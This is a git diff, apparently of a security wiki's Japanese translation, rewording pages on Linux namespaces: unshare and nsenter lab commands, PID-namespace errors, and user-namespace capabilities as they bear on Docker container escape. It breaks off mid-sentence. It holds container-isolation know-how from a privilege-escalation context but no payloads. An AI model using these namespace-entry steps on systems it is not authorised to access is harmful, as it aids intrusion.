とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。 +`unshare` が `-f` フラグで実行されることを保証することで、新しい PID 名前空間が正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
@@ -67,7 +67,7 @@ nsenter -i TARGET_PID --pid /bin/bash ``` また、**ルートでない限り、他のプロセス名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他の名前空間に**入ることはできません**(例えば、`/proc/self/ns/net`のように)。 -### IPCオブジェクトを作成する +### IPCオブジェクトの作成 ```bash # Container sudo unshare -i /bin/bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index 8abd53f9c..673d6238a 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -4,16 +4,16 @@ ## 基本情報 -マウントネームスペースは、プロセスのグループが見るファイルシステムのマウントポイントを隔離するLinuxカーネルの機能です。各マウントネームスペースは独自のファイルシステムマウントポイントのセットを持ち、**あるネームスペースのマウントポイントへの変更は他のネームスペースに影響を与えません**。これは、異なるマウントネームスペースで実行されているプロセスがファイルシステム階層の異なるビューを持つことができることを意味します。 +マウントネームスペースは、プロセスのグループが見るファイルシステムのマウントポイントを隔離するLinuxカーネルの機能です。各マウントネームスペースは独自のファイルシステムマウントポイントのセットを持ち、**1つのネームスペースのマウントポイントの変更は他のネームスペースに影響を与えません**。これは、異なるマウントネームスペースで実行されているプロセスがファイルシステム階層の異なるビューを持つことができることを意味します。 -マウントネームスペースは、各コンテナが他のコンテナやホストシステムから隔離された独自のファイルシステムと構成を持つべきであるコンテナ化に特に便利です。 +マウントネームスペースは特にコンテナ化において便利であり、各コンテナは他のコンテナやホストシステムから隔離された独自のファイルシステムと設定を持つべきです。 ### 仕組み: 1. 新しいマウントネームスペースが作成されると、**親ネームスペースからのマウントポイントのコピーで初期化されます**。これは、作成時に新しいネームスペースが親と同じファイルシステムのビューを共有することを意味します。しかし、その後のネームスペース内のマウントポイントへの変更は、親や他のネームスペースに影響を与えません。 2. プロセスがそのネームスペース内のマウントポイントを変更すると、例えばファイルシステムをマウントまたはアンマウントする場合、**変更はそのネームスペースにローカルであり**、他のネームスペースには影響を与えません。これにより、各ネームスペースは独自の独立したファイルシステム階層を持つことができます。 -3. プロセスは`setns()`システムコールを使用してネームスペース間を移動することができ、`unshare()`または`clone()`システムコールを`CLONE_NEWNS`フラグと共に使用して新しいネームスペースを作成することができます。プロセスが新しいネームスペースに移動するか、新しいネームスペースを作成すると、そのネームスペースに関連付けられたマウントポイントを使用し始めます。 -4. **ファイルディスクリプタとinodeはネームスペース間で共有されます**。つまり、あるネームスペースのプロセスがファイルを指すオープンファイルディスクリプタを持っている場合、その**ファイルディスクリプタを他のネームスペースのプロセスに渡すことができ**、**両方のプロセスが同じファイルにアクセスします**。ただし、マウントポイントの違いにより、ファイルのパスは両方のネームスペースで同じではない場合があります。 +3. プロセスは`setns()`システムコールを使用してネームスペース間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWNS`フラグと共に使用して新しいネームスペースを作成したりできます。プロセスが新しいネームスペースに移動するか、作成すると、そのネームスペースに関連付けられたマウントポイントを使用し始めます。 +4. **ファイルディスクリプタとinodeはネームスペース間で共有されます**。つまり、1つのネームスペースのプロセスがファイルを指すオープンファイルディスクリプタを持っている場合、その**ファイルディスクリプタを他のネームスペースのプロセスに渡すことができ**、**両方のプロセスが同じファイルにアクセスします**。ただし、マウントポイントの違いにより、ファイルのパスは両方のネームスペースで同じではない場合があります。 ## ラボ: @@ -23,7 +23,7 @@ ```bash sudo unshare -m [--mount-proc] /bin/bash ``` -新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で隔離されたビュー**を持つことを保証します。 +新しいインスタンスの `/proc` ファイルシステムをマウントすることで、`--mount-proc` パラメータを使用すると、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。
@@ -35,11 +35,11 @@ sudo unshare -m [--mount-proc] /bin/bash - Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 - `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。 -- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。 +- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っているためです。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。 2. **結果**: -- 新しいネームスペース内での PID 1 の終了は、`PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。 +- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。 3. **解決策**: - この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 @@ -72,9 +72,9 @@ findmnt ```bash nsenter -m TARGET_PID --pid /bin/bash ``` -また、**ルートでなければ他のプロセスネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他のネームスペースに**入ることはできません**(例えば `/proc/self/ns/mnt` のように)。 +また、**ルートでない限り、他のプロセスの名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他の名前空間に**入ることはできません**(例えば、`/proc/self/ns/mnt`のように)。 -新しいマウントはネームスペース内でのみアクセス可能であるため、ネームスペースにはそれからのみアクセス可能な機密情報が含まれている可能性があります。 +新しいマウントは名前空間内でのみアクセス可能であるため、名前空間にはそれからのみアクセス可能な機密情報が含まれている可能性があります。 ### 何かをマウントする ```bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index ee5689c5c..97264cd6e 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -8,7 +8,7 @@ ### 仕組み: -1. 新しいネットワーク名前空間が作成されると、**完全に隔離されたネットワークスタック**が開始され、ループバックインターフェース(lo)を除いて**ネットワークインターフェースは存在しません**。これは、新しいネットワーク名前空間内で実行されているプロセスが、デフォルトでは他の名前空間やホストシステムのプロセスと通信できないことを意味します。 +1. 新しいネットワーク名前空間が作成されると、**完全に隔離されたネットワークスタック**が開始され、ループバックインターフェース(lo)を除いて**ネットワークインターフェースは存在しません**。これは、新しいネットワーク名前空間で実行されているプロセスが、デフォルトでは他の名前空間やホストシステムのプロセスと通信できないことを意味します。 2. vethペアのような**仮想ネットワークインターフェース**を作成し、ネットワーク名前空間間で移動させることができます。これにより、名前空間間または名前空間とホストシステム間でネットワーク接続を確立できます。たとえば、vethペアの一方の端をコンテナのネットワーク名前空間に配置し、もう一方の端をホスト名前空間の**ブリッジ**または別のネットワークインターフェースに接続することで、コンテナにネットワーク接続を提供します。 3. 名前空間内のネットワークインターフェースは、他の名前空間とは独立して**独自のIPアドレス、ルーティングテーブル、およびファイアウォールルール**を持つことができます。これにより、異なるネットワーク名前空間内のプロセスは異なるネットワーク構成を持ち、別々のネットワークシステム上で実行されているかのように動作できます。 4. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWNET`フラグで新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたネットワーク構成とインターフェースを使用し始めます。 @@ -22,27 +22,27 @@ sudo unshare -n [--mount-proc] /bin/bash # Run ifconfig or ip -a ``` -新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。 +新しいインスタンスの `/proc` ファイルシステムをマウントすることで、`--mount-proc` パラメータを使用すると、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。
エラー: bash: fork: メモリを割り当てできません -`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法によりエラーが発生します。重要な詳細と解決策は以下の通りです: +`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: 1. **問題の説明**: - Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 - `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。 -- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内で PID 割り当てを無効にします。 +- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 によりネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。 2. **結果**: -- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。 +- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に新しい PID を割り当てる `alloc_pid` 関数が失敗し、「メモリを割り当てできません」というエラーが発生します。 3. **解決策**: - この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 -- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。 +- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。 `unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。 @@ -68,7 +68,7 @@ sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | g ```bash nsenter -n TARGET_PID --pid /bin/bash ``` -また、**ルートでない限り、他のプロセスの名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他の名前空間に**入ることはできません**(例えば、`/proc/self/ns/net`のように)。 +また、**ルートでなければ他のプロセスの名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り(例えば `/proc/self/ns/net`)、他の名前空間に**入ることはできません**。 ## 参考文献 diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index a86dc96ee..34449cd28 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -8,12 +8,12 @@ PID (プロセス識別子) 名前空間は、Linux カーネルの機能であ 新しい PID 名前空間が作成されると、その名前空間内の最初のプロセスには PID 1 が割り当てられます。このプロセスは新しい名前空間の「init」プロセスとなり、その名前空間内の他のプロセスを管理する責任を負います。名前空間内で作成される各後続プロセスは、その名前空間内で一意の PID を持ち、これらの PID は他の名前空間の PID とは独立しています。 -PID 名前空間内のプロセスの視点から見ると、同じ名前空間内の他のプロセスのみを見ることができます。他の名前空間のプロセスを認識せず、従来のプロセス管理ツール(例: `kill`, `wait` など)を使用して相互作用することはできません。これにより、プロセスが互いに干渉するのを防ぐための隔離レベルが提供されます。 +PID 名前空間内のプロセスの視点から見ると、同じ名前空間内の他のプロセスのみを認識できます。他の名前空間のプロセスを認識せず、従来のプロセス管理ツール(例: `kill`, `wait` など)を使用して相互作用することはできません。これにより、プロセスが互いに干渉するのを防ぐための隔離レベルが提供されます。 ### 仕組み: -1. 新しいプロセスが作成されると(例: `clone()` システムコールを使用して)、プロセスは新しいまたは既存の PID 名前空間に割り当てられることがあります。**新しい名前空間が作成されると、プロセスはその名前空間の「init」プロセスになります**。 -2. **カーネルは新しい名前空間内の PID と親名前空間内の対応する PID との間の** **マッピングを維持します**(つまり、新しい名前空間が作成された親名前空間)。このマッピングは、**カーネルが必要に応じて PID を変換できるようにします**。たとえば、異なる名前空間のプロセス間で信号を送信する際などです。 +1. 新しいプロセスが作成されると(例: `clone()` システムコールを使用して)、プロセスは新しいまたは既存の PID 名前空間に割り当てられます。**新しい名前空間が作成されると、プロセスはその名前空間の「init」プロセスになります**。 +2. **カーネルは新しい名前空間内の PID と親名前空間内の対応する PID との間の**マッピングを維持します(つまり、新しい名前空間が作成された親名前空間)。このマッピングは、**カーネルが必要に応じて PID を変換できるようにします**。たとえば、異なる名前空間のプロセス間で信号を送信する際などです。 3. **PID 名前空間内のプロセスは、同じ名前空間内の他のプロセスのみを見たり相互作用したりできます**。他の名前空間のプロセスを認識せず、その PID は自分の名前空間内で一意です。 4. **PID 名前空間が破棄されると**(例: 名前空間の「init」プロセスが終了すると)、**その名前空間内のすべてのプロセスが終了します**。これにより、名前空間に関連付けられたすべてのリソースが適切にクリーンアップされます。 @@ -29,7 +29,7 @@ sudo unshare -pf --mount-proc /bin/bash エラー: bash: fork: メモリを割り当てできません -`unshare`が`-f`オプションなしで実行されると、Linuxが新しいPID(プロセスID)名前空間を処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: +`unshare`が`-f`オプションなしで実行されると、Linuxが新しいPID(プロセスID)名前空間を扱う方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: 1. **問題の説明**: @@ -42,14 +42,14 @@ sudo unshare -pf --mount-proc /bin/bash - 新しい名前空間内でPID 1が終了すると、`PIDNS_HASH_ADDING`フラグがクリーニングされます。これにより、新しいプロセスを作成する際に`alloc_pid`関数が新しいPIDを割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。 3. **解決策**: -- この問題は、`unshare`に`-f`オプションを使用することで解決できます。このオプションは、`unshare`が新しいPID名前空間を作成した後に新しいプロセスをフォークすることを意味します。 -- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間内でPID 1になります。これにより、`/bin/bash`とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1の早期終了を防ぎ、通常のPID割り当てを可能にします。 +- この問題は、`unshare`に`-f`オプションを使用することで解決できます。このオプションは、`unshare`が新しいPID名前空間を作成した後に新しいプロセスをフォークします。 +- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間内でPID 1になります。これにより、`/bin/bash`とその子プロセスは安全にこの新しい名前空間内に収容され、PID 1の早期終了を防ぎ、正常なPID割り当てを可能にします。 `unshare`が`-f`フラグで実行されることを確保することで、新しいPID名前空間が正しく維持され、`/bin/bash`とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
-新しいインスタンスの`/proc`ファイルシステムをマウントすることで、`--mount-proc`パラメータを使用すると、新しいマウント名前空間がその名前空間に特有のプロセス情報の**正確で隔離されたビュー**を持つことが保証されます。 +新しいインスタンスの`/proc`ファイルシステムをマウントすることで、`--mount-proc`パラメータを使用すると、新しいマウント名前空間がその名前空間に特有の**プロセス情報の正確で隔離されたビュー**を持つことが保証されます。 #### Docker ```bash @@ -64,15 +64,15 @@ lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' ```bash sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u ``` -初期(デフォルト)PID名前空間からのrootユーザーは、新しいPID名前空間内のプロセスを含むすべてのプロセスを見ることができるため、すべてのPID名前空間を見ることができます。 +初期(デフォルト)のPID名前空間からのrootユーザーは、すべてのプロセスを見ることができます。新しいPID名前空間のプロセスも含まれています。これが、すべてのPID名前空間を見ることができる理由です。 ### PID名前空間に入る ```bash nsenter -t TARGET_PID --pid /bin/bash ``` -PID ネームスペースにデフォルトのネームスペースから入ると、すべてのプロセスを見ることができます。そして、その PID ns のプロセスは新しい bash を PID ns で見ることができます。 +PID名前空間にデフォルトの名前空間から入ると、すべてのプロセスを見ることができます。そして、そのPID nsのプロセスは新しいbashをPID nsで見ることができます。 -また、**root でない限り、他のプロセスの PID ネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他のネームスペースに **入ることはできません**(例えば `/proc/self/ns/pid` のように)。 +また、**rootでない限り、他のプロセスのPID名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他の名前空間に**入ることはできません**(例えば、`/proc/self/ns/pid`のように)。 ## References diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index cdd8f7a45..c6b0f4cea 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -30,11 +30,11 @@ sudo unshare -T [--mount-proc] /bin/bash 2. **結果**: -- 新しいネームスペース内での PID 1 の終了は、`PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。 +- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。 3. **解決策**: -- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 -- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。 +- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 +- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。 `unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。 diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 5f7c49df9..e38a091ed 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -6,14 +6,14 @@ ユーザー名前空間は、**ユーザーおよびグループIDマッピングの隔離を提供する**Linuxカーネルの機能であり、各ユーザー名前空間が**独自のユーザーおよびグループIDのセット**を持つことを可能にします。この隔離により、異なるユーザー名前空間で実行されているプロセスは、**同じユーザーおよびグループIDを数値的に共有していても、異なる特権と所有権を持つことができます**。 -ユーザー名前空間は、各コンテナが独自の独立したユーザーおよびグループIDのセットを持つべきコンテナ化に特に便利であり、コンテナとホストシステム間のセキュリティと隔離を向上させます。 +ユーザー名前空間は特にコンテナ化において有用であり、各コンテナが独自のユーザーおよびグループIDの独立したセットを持つべきであり、これによりコンテナとホストシステム間のセキュリティと隔離が向上します。 ### 仕組み: -1. 新しいユーザー名前空間が作成されると、**空のユーザーおよびグループIDマッピングのセットから開始します**。これは、新しいユーザー名前空間で実行されるプロセスが**最初は名前空間の外で特権を持たないことを意味します**。 -2. 新しい名前空間のユーザーおよびグループIDと親(またはホスト)名前空間のID間でIDマッピングを確立できます。これにより、**新しい名前空間のプロセスが親名前空間のユーザーおよびグループIDに対応する特権と所有権を持つことができます**。ただし、IDマッピングは特定の範囲やIDのサブセットに制限でき、名前空間内のプロセスに付与される特権を細かく制御できます。 +1. 新しいユーザー名前空間が作成されると、**空のユーザーおよびグループIDマッピングのセットから始まります**。これは、新しいユーザー名前空間で実行されるプロセスが**名前空間の外で特権を持たない状態で初期化されることを意味します**。 +2. 新しい名前空間のユーザーおよびグループIDと親(またはホスト)名前空間のIDとの間にIDマッピングを確立できます。これにより、**新しい名前空間のプロセスが親名前空間のユーザーおよびグループIDに対応する特権と所有権を持つことができます**。ただし、IDマッピングは特定の範囲やIDのサブセットに制限でき、これにより新しい名前空間のプロセスに付与される特権を細かく制御できます。 3. ユーザー名前空間内では、**プロセスは名前空間内の操作に対して完全なルート特権(UID 0)を持つことができます**が、名前空間の外では制限された特権を持ちます。これにより、**コンテナはホストシステム上で完全なルート特権を持たずに、自身の名前空間内でルートのような機能を持って実行できます**。 -4. プロセスは`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWUSER`フラグと共に使用して新しい名前空間を作成できます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたユーザーおよびグループIDマッピングを使用し始めます。 +4. プロセスは`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWUSER`フラグと共に使用して新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたユーザーおよびグループIDマッピングを使用し始めます。 ## ラボ: @@ -23,29 +23,29 @@ ```bash sudo unshare -U [--mount-proc] /bin/bash ``` -新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。 +新しいインスタンスの `/proc` ファイルシステムをマウントすることで、`--mount-proc` パラメータを使用すると、新しいマウント名前空間がその名前空間に特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。
-エラー: bash: fork: メモリを割り当てできません +エラー: bash: fork: メモリを割り当てることができません -`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: +`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) 名前空間を処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: 1. **問題の説明**: -- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 -- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。 -- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。 +- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しい名前空間を作成することを許可します。しかし、新しい PID 名前空間の作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しい名前空間に入らず、その子プロセスのみが入ります。 +- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID 名前空間に存在します。 +- 新しい名前空間内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、名前空間のクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはその名前空間での PID 割り当てを無効にします。 2. **結果**: -- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。 +- 新しい名前空間内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。 3. **解決策**: -- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 -- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。 +- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID 名前空間を作成した後に新しいプロセスをフォークします。 +- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しい名前空間内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。 -`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。 +`unshare` が `-f` フラグで実行されることを保証することで、新しい PID 名前空間が正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
@@ -53,7 +53,7 @@ sudo unshare -U [--mount-proc] /bin/bash ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` -ユーザー名前空間を使用するには、Dockerデーモンを**`--userns-remap=default`**で起動する必要があります(Ubuntu 14.04では、`/etc/default/docker`を変更し、次に`sudo service docker restart`を実行することでこれを行うことができます) +ユーザー名前空間を使用するには、Dockerデーモンを**`--userns-remap=default`**で起動する必要があります(Ubuntu 14.04では、`/etc/default/docker`を変更し、その後`sudo service docker restart`を実行することで行えます) ### プロセスがどの名前空間にあるかを確認する ```bash @@ -66,7 +66,7 @@ cat /proc/self/uid_map 0 0 4294967295 --> Root is root in host 0 231072 65536 --> Root is 231072 userid in host ``` -ホストからは次のように: +ホストからは次のように: ```bash cat /proc//uid_map ``` @@ -96,14 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody ps -ef | grep bash # The user inside the host is still root, not nobody root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash ``` -### Recovering Capabilities +### 回復可能性 -ユーザー名前空間の場合、**新しいユーザー名前空間が作成されると、その名前空間に入るプロセスには完全な権限のセットが付与されます**。これらの権限により、プロセスは**ファイルシステムのマウント**、デバイスの作成、ファイルの所有権の変更などの特権操作を実行できますが、**そのユーザー名前空間のコンテキスト内でのみ**実行できます。 +ユーザー名前空間の場合、**新しいユーザー名前空間が作成されると、その名前空間に入るプロセスにはその名前空間内での完全な権限セットが付与されます**。これらの権限により、プロセスは**ファイルシステムのマウント**、デバイスの作成、ファイルの所有権の変更などの特権操作を実行できますが、**そのユーザー名前空間のコンテキスト内でのみ**実行できます。 -例えば、ユーザー名前空間内で`CAP_SYS_ADMIN`権限を持っている場合、ファイルシステムのマウントなど、この権限を通常必要とする操作を実行できますが、あなたのユーザー名前空間のコンテキスト内でのみです。この権限を使用して実行する操作は、ホストシステムや他の名前空間には影響を与えません。 +例えば、ユーザー名前空間内で`CAP_SYS_ADMIN`権限を持っている場合、ファイルシステムのマウントなど、この権限を通常必要とする操作を実行できますが、あなたのユーザー名前空間のコンテキスト内でのみです。この権限を使用して実行する操作は、ホストシステムや他の名前空間には影響しません。 > [!WARNING] -> したがって、新しいユーザー名前空間内に新しいプロセスを取得することが**すべての権限を取り戻すことになります**(CapEff: 000001ffffffffff)としても、実際には**名前空間に関連するもののみを使用できます**(例えばマウント)が、すべての権限を使用できるわけではありません。したがって、これだけではDockerコンテナから脱出するには不十分です。 +> したがって、新しいユーザー名前空間内に新しいプロセスを取得することが**すべての権限を取り戻すことになります**(CapEff: 